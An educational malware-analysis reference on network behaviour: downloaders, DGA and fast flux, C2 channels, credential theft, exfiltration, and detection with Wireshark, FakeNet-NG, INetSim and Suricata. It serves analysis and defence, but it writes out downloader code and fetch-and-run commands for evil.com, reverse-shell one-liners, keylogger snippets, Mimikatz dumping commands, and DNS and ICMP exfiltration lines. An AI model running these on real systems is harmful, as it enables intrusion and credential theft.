Malware Network Behavior Analysis
- Malware Network Behavior Analysis
Network activity is one of the most revealing behavioral signals in malware analysis. Even heavily obfuscated or packed code must ultimately communicate over the network in recognizable ways: DNS queries must resolve, HTTP must look like HTTP, TLS must complete a handshake. These observable patterns are the foundation of network-based detection.
This page covers malicious network functionality — how malware downloads payloads, establishes command and control, exfiltrates data, and evades detection. For networking fundamentals (TCP/IP, DNS record types, TTL, routing), see networking fundamentals.
The Network as an Oracle
When analyzing a sample dynamically, the network is your first behavioral channel. Before you understand a single instruction, you can observe:
- What domains the sample queries (DNS)
- What IPs it connects to (TCP SYN, UDP datagrams)
- What protocols it speaks (HTTP, TLS, custom binary)
- Whether it succeeds or fails based on the response
Simulated network environments (FakeNet-NG, INetSim) extend this: by feeding the malware fake-but-plausible responses to all its connection attempts, you push it past connectivity checks and cause it to reveal C2 communication it would otherwise withhold when it cannot phone home.
Downloaders
A downloader’s job is to retrieve additional malware and execute it. It is typically the first stage in a multi-stage campaign: the initial infection is small, simple, and lightly detected; the real payload is fetched after the victim is confirmed to be valuable.
Windows API for Downloading
The Win32 API offers multiple abstraction levels for HTTP:
// High-level WinINet — A (ANSI) variants throughout
HINTERNET hNet = InternetOpenA(
"Mozilla/5.0",
INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL, 0);
HINTERNET hUrl = InternetOpenUrlA(
hNet, "http://evil.com/stage2.exe", NULL, 0,
INTERNET_FLAG_RELOAD, 0);
// Read downloaded bytes and write to disk
HANDLE hFile = CreateFileA(
"C:\\Windows\\Temp\\payload.exe",
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
DWORD bytesRead, bytesWritten;
BYTE buffer[4096];
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead)
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
CloseHandle(hFile);
InternetCloseHandle(hUrl);
InternetCloseHandle(hNet);
// Execute the downloaded payload
WinExec("C:\\Windows\\Temp\\payload.exe", SW_HIDE); // legacy; prefer CreateProcess
// One-liner shortcut (urlmon.dll) — equivalent to the above in one call
URLDownloadToFileA(NULL,
"http://evil.com/stage2.exe",
"C:\\Windows\\Temp\\payload.exe",
0, NULL);
What to look for in static analysis: imports of InternetOpen, InternetOpenUrl, URLDownloadToFile, WinHttpOpen (lower-level WinHTTP), or raw socket calls (WSAStartup, connect, send/recv). Presence of WinExec or CreateProcess alongside download APIs is a strong downloader signature.
Living-off-the-land variants: Many modern downloaders avoid Win32 API imports entirely and shell out to built-in tools:
# PowerShell (common in macro-based loaders)
Invoke-WebRequest -Uri "http://evil.com/stage2.exe" -OutFile "$env:TEMP\s.exe"; Start-Process "$env:TEMP\s.exe"
# certutil (trusted Windows binary)
certutil -urlcache -f http://evil.com/stage2.exe C:\Windows\Temp\s.exe
# bitsadmin (Background Intelligent Transfer Service)
bitsadmin /transfer job http://evil.com/stage2.exe C:\Windows\Temp\s.exe
Domain Generation Algorithms (DGA) and Fast Flux
Modern malware does not hardcode a single C2 address. Instead, it uses techniques that make the C2 infrastructure difficult to permanently take down. DGA and fast flux are the two primary mechanisms.
Classic DGA
A Domain Generation Algorithm produces a large list of candidate C2 domain names from a seed (usually the current date). The attacker registers a small subset of these each day; the malware queries all candidates until one resolves.
Benefits for the attacker:
- A single domain takedown does not kill the botnet
- Analysts cannot block future domains without reversing the algorithm
- A new seed each day produces a fresh candidate set
Indicators:
- Hundreds of NXDOMAIN responses in rapid succession
- Queried domain names have high entropy (look like random character strings:
xkqztvbp.com,wfhjnmsa.net) - Consistent TLD or suffix pattern
- Queries occur at regular intervals tied to system clock
Example — a trivial time-seeded DGA (Python approximation):
import datetime, hashlib
def generate_domains(count=100):
seed = datetime.date.today().strftime("%Y%m%d")
domains = []
for i in range(count):
h = hashlib.md5(f"{seed}{i}".encode()).hexdigest()[:12]
domains.append(f"{h}.com")
return domains
Real DGAs (Conficker, Murofet, Locky) use more complex arithmetic, often seeded on the Julian date or week number, and may generate thousands of candidates per day across multiple TLDs.
Dictionary-based DGA: Some malware generates domain names by combining words from a wordlist rather than random characters — the result looks like legitimate domain names and evades entropy-based detection (happylongcat.net, fastgreentree.com). Necurs and Matsnu are documented examples.
Reversing a DGA: Identify the loop that builds domain strings. The seed input is usually a date-derived value — look for calls to GetSystemTime, time(), or date arithmetic before the domain generation loop.
Detection:
- Query volume anomalies (10+ NXDOMAIN/min from a single host)
- Shannon entropy of the domain label (legitimate domains rarely exceed 3.5 bits/char)
- Machine learning classifiers trained on character n-grams
- Sinkholing: researchers reverse the algorithm, pre-register future domains, and redirect victim connections to their own servers for intelligence gathering
Fast Flux
Fast flux is an infrastructure evasion technique built on DNS, independent of — but often combined with — DGA. It exploits the TTL mechanism described in networking.md.
Single Flux
The attacker registers a domain with a very short TTL (60–300 seconds) and an A record that rotates through a pool of compromised hosts (proxies / “flux agents”). Each DNS response returns a different IP from the pool:
evil.com → A 1.2.3.4 (TTL 60) ← resolver caches for 60s
→ A 5.6.7.8 (next query, 60s later)
→ A 9.10.11.12 (next query, ...)
The actual C2 server is hidden behind the flux layer. Taking down any one proxy doesn’t affect availability; the pool is continuously refreshed from a botnet. This technique was popularized by the Storm botnet.
Key properties:
- Short TTL (often ≤ 300 s) — legitimate CDNs use short TTLs but for different reasons
- Large number of A records for a single domain (10–100+)
- A record IPs are geographically scattered
- The IPs belong to compromised consumer machines, not hosted services
Double Flux
Double flux rotates both the A records of the target domain and the NS records of the zone. This makes the authoritative DNS infrastructure itself highly available and harder to seize:
Resolver asks: who is authoritative for evil.com?
→ NS ns1.evil.com (TTL 60)
→ NS ns2.evil.com (TTL 60)
Resolver asks: what is ns1.evil.com?
→ A 203.0.113.1 (TTL 60) ← also rotating through botnet proxies
Resolver asks: what is evil.com?
→ A 203.0.113.2 (TTL 60) ← also rotating
Domain registrar seizure only works if you can identify and contact the registrar AND the registrar cooperates. If the NS records themselves change frequently, coordination becomes much harder.
Detection of Fast Flux
| Indicator | Threshold |
|---|---|
| TTL ≤ 300 s on A record | By itself, not definitive — CDNs use short TTLs too |
| ≥ 5 distinct IPs returned for a domain within a short window | High confidence |
| A record IPs span multiple ASNs and geolocations simultaneously | High confidence |
| A record IPs are residential ISP space (not data center) | Strong indicator |
| Combined with DGA-style domain name | Near-certain flux infrastructure |
Dead Drop Resolvers
A dead drop resolver uses a legitimate, high-reputation hosting service as the lookup channel for the actual C2 IP. The malware queries a public service (Pastebin, Google Docs, GitHub Gist, Twitter/X API, DNS TXT records) and parses the response for an IP address or URL embedded in the content.
# Conceptual pattern: C2 address hidden in a Pastebin post body
import requests, re
r = requests.get("https://pastebin.com/raw/AbCdEfGh")
# Parse "[C2:203.0.113.45]" from the page body
ip = re.search(r'\[C2:([^\]]+)\]', r.text).group(1)
Why this works for the attacker:
- The outbound request goes to
pastebin.com— allow-listed in virtually every firewall and web proxy - TLS to the legitimate service hides the content from DPI
- Takedown requires registering a DMCA or abuse complaint with a US company
Detection: correlate DNS queries/connections to generic hosting services with subsequent unusual outbound connections; monitor for small, infrequent, but repeated fetches to URL shorteners and paste sites.
Domain Shadowing
The attacker compromises a legitimate domain’s DNS credentials and creates sub-domains that point to malicious infrastructure:
compromised-site.com ← legitimate, high reputation
cdn1.compromised-site.com ← added by attacker, points to C2
img3.compromised-site.com ← second C2 address
The parent domain’s reputation protects the sub-domains from URL-category filters. Angler exploit kit popularized this technique.
Cloud Storage as C2
Modern malware increasingly uses cloud storage services as C2 channels:
- Dropbox, Google Drive, OneDrive: the malware authenticates to the API using a hardcoded OAuth token and polls a file for commands; writes results to another file
- GitHub repositories: configuration files or command files committed to a private repo
- Slack/Teams webhooks: command output posted to a channel
These channels are allow-listed in enterprise firewalls and use TLS to a trusted CA, making them very difficult to block without breaking legitimate business use. Detection relies on DLP rules matching the specific API endpoints and watching for OAuth tokens embedded in executables.
Backdoors and Remote Access Trojans
A backdoor gives the attacker interactive access to the victim — typically a remote shell or a full RAT that provides file system access, screenshot capture, keylogging, and lateral movement primitives.
Reverse Shells vs. Bind Shells
Bind shell: the victim opens a listening port; the attacker connects in.
Problems: inbound firewall rules block it; NAT makes the victim’s internal IP unreachable from outside.
Reverse shell: the victim connects out to the attacker’s listener.
Outbound connections on ports 80 or 443 are almost always permitted — this trivially bypasses inbound filtering and NAT.
# Attacker sets up listener
nc -nvlp 4444
# Victim — classic netcat (requires -e flag, removed from most builds)
nc attacker 4444 -e /bin/sh
# Victim — mknod pipe (works without -e)
mknod /tmp/bp p
/bin/bash 0</tmp/bp | nc attacker 4444 1>/tmp/bp
# Victim — bash built-in TCP (no external tools at all)
bash -i >& /dev/tcp/attacker/4444 0>&1
# Victim — Python (one-liner; Python 3)
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'
Windows Reverse Shell Internals
The Windows implementation uses Win32 sockets + process creation:
WSAStartup()/WSASocket()— create a TCP socketconnect()— connect to attackerCreateProcess("cmd.exe", ...)with aSTARTUPINFOwheredwFlagsincludesSTARTF_USESTDHANDLESandhStdInput,hStdOutput,hStdErrorare all set to the (inheritable) socket handle
What to look for in disassembly: a STARTUPINFO structure being populated with STARTF_USESTDHANDLES set in dwFlags, followed by a CreateProcess call where all three stdio handle fields are set to the same socket handle. The socket must be created with WSASocket(..., WSA_FLAG_OVERLAPPED) and marked inheritable via SetHandleInformation. The combination of WSASocket + STARTF_USESTDHANDLES + CreateProcess is a near-certain reverse shell signature.
Command and Control (C2) Protocols
| Protocol | Notes |
|---|---|
| Raw TCP | Simple, easily detected by flow analysis |
| HTTP/HTTPS | Blends with normal web traffic; custom headers carry commands |
| DNS | Extremely covert, low bandwidth; commands in TXT records or encoded subdomains |
| ICMP | Data hidden in echo payload; rarely filtered |
| SMTP/email | Mail-based C2; useful in environments with email egress |
| Custom binary | Requires protocol reverse engineering to analyze |
| Legitimate APIs | Dropbox, Slack, Teams, GitHub — very hard to block (see above) |
HTTP Beaconing
Many RATs implement periodic “check-in” beacons over HTTP. The pattern:
POST /update.php HTTP/1.1
Host: legitimate-looking-domain.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 32
<base64-encoded system info + awaited commands>
Beaconing is detectable statistically: filter for repeated POST requests to the same host at a fixed interval (jitter is added, but the mean interval is stable). In Wireshark: Statistics → IO Graph, add a filter for ip.dst == <c2_ip>, and observe the regularity.
DNS C2
DNS tunneling carries data in DNS query/response fields — primarily TXT records and long subdomain labels:
# Command to victim (in TXT record response)
victim polls: cmd.evil.com → TXT "d2hvYW1p" (base64 of "whoami")
# Response from victim (encoded in subdomain)
victim queries: d2hvYW1p.results.evil.com → (NXDOMAIN, but attacker logs the query)
Bandwidth is roughly 1–3 KB/s. Detection: queries to a single domain with very long, base64/hex-like subdomains; high query rate to a single second-level domain; TXT record responses containing encoded data.
Tools: iodine, dnscat2, dns2tcp.
Credential Stealers
GINA Interception (Legacy Windows)
Windows XP and earlier used msgina.dll (Graphical Identification and Authentication) as a pluggable authentication provider. Malware inserted a rogue DLL (fsgina.dll) that sits between winlogon.exe and the real GINA:
winlogon.exe → fsgina.dll (logs credentials to file/network)
→ msgina.dll (performs real authentication)
The rogue DLL passes credentials through transparently — the user sees no indication that authentication was intercepted. Registry key:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL
Modern equivalent: Credential Provider plugins (Vista+). The same interception architecture exists, with a different API. Look for DLLs registered under:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers
Keyloggers
Hook-based keylogger:
// Install a low-level keyboard hook (runs in the installing process context)
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);
WH_KEYBOARD_LL callbacks execute in the thread that installed the hook — no DLL injection required. The hook is global (intercepts all keystrokes) but the callback stays in-process. This is easier to deploy than a regular WH_KEYBOARD hook, which does require a DLL injected into each target process. Detection: SetWindowsHookEx with WH_KEYBOARD_LL in the IAT or API monitor.
Polling-based keylogger:
// Check every virtual key (0–255) every N milliseconds
for (int vk = 0; vk < 256; vk++) {
if (GetAsyncKeyState(vk) & 0x8000)
LogKey(vk);
}
No hook registration — harder to detect from API monitoring alone. Look for a timed loop that calls GetAsyncKeyState across the full key range.
Credential Dumping
Windows stores credentials in several locations:
| Location | Contents | Access |
|---|---|---|
| LSASS process memory | Active session tokens, NTLM hashes, Kerberos tickets, plaintext (WDigest) | Requires SeDebugPrivilege |
SAM registry hive (HKLM\SAM) |
Local account NTLM hashes | Requires SYSTEM |
| NTDS.dit | All domain account hashes (domain controllers only) | Requires SYSTEM on DC |
| LSA secrets | Service account credentials, cached domain credentials | Requires SYSTEM |
pwdump technique: inject lsaext.dll into lsass.exe via CreateRemoteThread, then call undocumented functions (SamIConnect, SamrQueryInformationUser, SamIGetPrivateData, SystemFunction025/SystemFunction027 from advapi32.dll) to extract and decrypt hashes.
Mimikatz automates all of the above and more:
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords # dump from LSASS (plaintext if WDigest enabled)
mimikatz# lsadump::sam # dump SAM hashes
mimikatz# sekurlsa::tickets # dump Kerberos tickets
mimikatz# kerberos::golden /... # forge golden ticket
Mimikatz is built into Metasploit via the kiwi extension, which provides Mimikatz-style credential access. Metasploit’s separate hashdump command dumps SAM hashes via a different code path.
Countermeasures:
- Disable WDigest plaintext caching:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 - Run LSASS as a Protected Process Light (PPL): prevents all non-Microsoft DLLs from attaching
- Windows Credential Guard: stores credentials in a Hyper-V isolated enclave
- Honey credentials: fabricated account hashes placed in LSASS memory; any lateral movement using the hash triggers an alert
- MFA: hash cracking becomes irrelevant for most authentication paths
Data Exfiltration
Once data is collected, it must be exfiltrated without triggering DLP (Data Loss Prevention) monitoring or egress filtering.
DNS Exfiltration
Data is encoded as subdomain labels in queries to an attacker-controlled domain. DNS labels must be 63 characters or less and may only contain [a-z0-9-] — base64 (with +, /, =) is not valid. Base32 (RFC 4648) or hex encoding is used instead:
# Password exfiltration (hex-encoded in label)
6d79706173737764.data.attacker.com ← hex of "mypasswd"
# File exfiltration (base32, multiple queries, reassembled server-side)
MFRA.chunk0.xfer.attacker.com
MFRA2.chunk1.xfer.attacker.com
DNS exfiltration properties:
- DNS queries leave almost every network — DNS RPZ is needed to block specific domains
- DLP tools rarely inspect DNS query labels for data patterns
- Very low bandwidth (~1–3 KB/s) but highly reliable
- Detection: query rate to a single domain, label length, base64/hex character distribution
HTTP/HTTPS Header Exfiltration
Data hidden in legitimate-looking HTTP headers:
GET /analytics.js HTTP/1.1
Host: cdn.example.com
If-None-Match: "c2VjcmV0ZGF0YQ" ← base64url data in conditional GET
X-Request-ID: 737465616c7468697364617461 ← hex data in custom header
Cookie: session=dXNlcjpwYXNzd29yZA ← base64url data in cookie
The request looks like a standard browser request for a JavaScript file. TLS conceals all of this from network appliances without TLS inspection capability.
ICMP Exfiltration
ICMP echo (ping) packets carry up to ~65 KB of arbitrary payload. Most networks do not filter or inspect ICMP payload content:
from scapy.all import *
# Conceptual — stolen data in ping payload
send(IP(dst="attacker") / ICMP() / Raw(load=stolen_data))
ICMP exfiltration tools: icmpsh, ptunnel.
Detection: ICMP echo requests with non-standard payload sizes or non-zero/non-repeated payload bytes; ICMP traffic to external IPs from hosts that do not normally ping externally.
Covert Channels Summary
| Channel | Bandwidth | Detectability | Example tools |
|---|---|---|---|
| DNS subdomain encoding | Low (KB/s) | Low — rarely inspected | dnscat2, iodine |
| DNS TXT record polling | Very low | Low | dnscat2 |
| ICMP payload | Medium | Low — rarely inspected | icmpsh, ptunnel |
| HTTP header fields | Medium | Medium — needs TLS inspection | Custom malware |
| HTTPS to legitimate services | High | Very low — trusted destinations | Dropbox C2, Slack C2 |
| SMTP/email body | Low | Medium — email DLP exists | Custom |
Defenses
DNS Response Policy Zone (RPZ): configure your recursive resolver to return NXDOMAIN for known C2 domains and DGA-generated domain patterns. Passive DNS (pDNS) feeds enable rapid propagation of new C2 domain blocks.
Outbound proxy with TLS inspection: all egress forced through a proxy that terminates and re-initiates TLS. Catches cleartext exfiltration and enables header inspection. Breaks certificate pinning in legitimate applications.
Behavioral DLP: baseline normal outbound data volumes per endpoint; alert on deviations. Difficult to tune but catches high-volume exfiltration that signature-based DLP misses.
Network Analysis Tools
For general packet capture and analysis tooling, see tcpdump and Wireshark.
Wireshark Workflow for Malware
- Start Wireshark capture before running the sample (or use
-kto start immediately:wireshark -k -i eth0) - Run the sample for 60–120 seconds
- Stop capture; save the pcap
- Apply targeted display filters:
| Filter | Purpose |
|---|---|
dns |
All DNS queries — look for DGA candidates, NXDOMAIN storms |
dns.flags.rcode == 3 |
NXDOMAIN responses — DGA indicator |
http |
Unencrypted HTTP — URL, User-Agent, headers |
tls.handshake.type == 1 |
TLS ClientHello — reveals SNI (server name before encryption) |
tcp.flags.syn == 1 && tcp.flags.ack == 0 |
All outbound connection attempts |
icmp |
ICMP — check payload for non-standard content |
dns.qry.name matches "[a-z0-9]{15,}" |
Long pseudo-random DNS labels — potential DGA or exfil |
- Follow streams: right-click any packet → Follow → TCP Stream (or HTTP Stream for decoded HTTP). Reconstructs the full conversation.
- Export objects:
File → Export Objects → HTTPto save any downloaded files from an HTTP session. - IO Graph:
Statistics → IO Graphto visualize beaconing intervals. Add multiple filters as separate graph lines to overlay DNS, HTTP, and TLS activity.
Tip: for HTTPS traffic from a sandbox that you control, set the SSLKEYLOGFILE environment variable on the analysis VM (Firefox and Chrome honor it). Wireshark will decrypt TLS sessions using the logged keys: Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename.
FakeNet-NG
FakeNet-NG (FLARE team, Mandiant) intercepts all outbound connections from the analysis VM and responds with fake-but-plausible responses for common protocols. The effect is that malware “succeeds” in connecting even though there is no real internet, causing it to reveal C2 behavior it would otherwise suppress.
FakeNet-NG runs on Windows and is the standard tool in Windows-based dynamic analysis labs.
Installation: included in FLARE-VM. Standalone install from the GitHub release.
Usage:
fakenet.exe # run with default config
fakenet.exe -c custom.ini # custom listener configuration
What it intercepts by default:
- DNS: responds to all queries with a configured fake IP (default config typically
192.0.2.123); FakeNet also listens on that IP for all service connections - HTTP/HTTPS: returns a stub HTML page
- SMTP, IRC, FTP, TFTP: respond with protocol-appropriate stubs
Captured output: FakeNet logs all intercepted traffic to a pcap file and a text log, which you analyze in Wireshark after the run.
Limitation: FakeNet-NG redirects all traffic from the analysis machine. This means the machine loses real internet access while it runs. Run it only in a sandboxed analysis environment.
INetSim
INetSim is the Linux equivalent of FakeNet-NG. It simulates network services on a separate Linux host so that an isolated Windows analysis VM’s network traffic is redirected to INetSim.
sudo inetsim # run with default config
sudo inetsim --config /etc/inetsim/inetsim.conf
INetSim ships with REMnux and is the standard network simulation tool for Linux-based analysis labs.
Architecture:
Analysis VM (Windows/Linux) ──── host-only network ──── REMnux running INetSim
10.0.0.2 10.0.0.1
Default gateway: 10.0.0.1 (INetSim)
DNS server: 10.0.0.1 (INetSim)
Configure the analysis VM’s default gateway and DNS to point to the INetSim host. All DNS queries receive the INetSim host IP in response; all TCP/UDP connections land on INetSim’s fake service listeners.
Report: after stopping INetSim, view the report and log files in the configured output directory (default /var/log/inetsim/report/ on REMnux, or as set in inetsim.conf).
INetSim vs. FakeNet-NG:
| INetSim | FakeNet-NG | |
|---|---|---|
| Platform | Linux | Windows |
| Deployment | Separate host or VM on host-only network | Runs on the analysis VM itself |
| Protocol coverage | HTTP, HTTPS, FTP, SMTP, DNS, IRC, and more | HTTP, HTTPS, DNS, SMTP, FTP, IRC, and more |
| HTTPS | Self-signed cert (can install the CA on analysis VM) | Self-signed cert |
Snort / Suricata Network Signatures
IDS rules detect malware by matching content patterns in traffic. The examples below use Suricata syntax; Snort 3 is similar but some sticky buffer keywords differ.
# Suricata: HTTP beacon detection
alert tcp any any -> any 80 (
msg:"Malware C2 beacon — known User-Agent";
flow:established,to_server;
http.method; content:"POST";
http.header; content:"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
threshold: type both, track by_src, count 3, seconds 120;
sid:9000001; rev:1;
)
Rules match on:
- Protocol and ports:
tcp any any -> any 80 - Content patterns:
content:"..."— literal byte strings;pcre:"/regex/"— regex - Sticky buffers:
http.method,http.uri,http.header,http.cookie(Suricata); Snort 2 useshttp_method,http_uri,http_header - Flow direction:
flow:established,to_server— match only on client-to-server data - Frequency:
threshold— detect beaconing by count/time window
For TLS traffic without decryption, match on the TLS ClientHello SNI field (plaintext even in encrypted sessions):
# Suricata: TLS SNI matching
alert tls any any -> any 443 (
msg:"TLS to known C2 domain";
tls.sni; content:"evil.example.com";
sid:9000002; rev:1;
)
Network IOC Extraction
After a capture, extract indicators programmatically:
# All unique DNS names queried
tshark -r capture.pcap -T fields -e dns.qry.name | sort -u
# All unique destination IPs connected to
tshark -r capture.pcap -T fields -e ip.dst | sort -u
# All HTTP hosts and URIs
tshark -r capture.pcap -T fields -e http.host -e http.request.uri \
| sort -u | grep -v '^$'
# TLS SNI values (C2 domains even in encrypted traffic)
tshark -r capture.pcap -T fields -e tls.handshake.extensions_server_name \
| sort -u | grep -v '^$'
# Extract all transferred files from HTTP
tshark -r capture.pcap --export-objects http,./extracted/
Feed extracted IPs and domains to threat intelligence platforms (VirusTotal, Shodan, MISP) for context enrichment.
Lab
From Practical Malware Analysis chapters 11 and 14, supplemented with the above:
- Downloader identification: find the download URL in static analysis (strings, imports); confirm the download in dynamic analysis using FakeNet-NG or INetSim
- DGA simulation: implement a trivial DGA in Python and run it; observe the NXDOMAIN storm in Wireshark; apply a DNS entropy filter
- Reverse shell capture: set up a netcat listener; trigger a reverse shell in the sample; reconstruct the full command stream using Follow → TCP Stream
- Beaconing analysis: use
Statistics → IO Graphto measure beacon interval; write a Snort rule to detect it - DNS exfiltration: use
dnscat2to exfiltrate a small file; observe the query pattern; attempt to extract the file from the pcap using Wireshark’s DNS dissector
Cross-References
- Networking Fundamentals — TCP/IP, DNS record types, TTL, routing
- Capturing Packets — tcpdump command reference
- Using Wireshark — Wireshark filter reference and workflow
- Dynamic Analysis — lab environment setup, sandbox tooling, behavioral monitoring
- Advanced Dynamic Analysis — debugger scripting, Frida, eBPF tracing
- SSL/Certificate Pinning — bypassing TLS inspection obstacles in analysis
- ATT&CK Framework — T1071 (Application Layer Protocol), T1568 (Dynamic Resolution / DGA), T1041 (Exfiltration Over C2 Channel), T1048 (Exfiltration Over Alternative Protocol)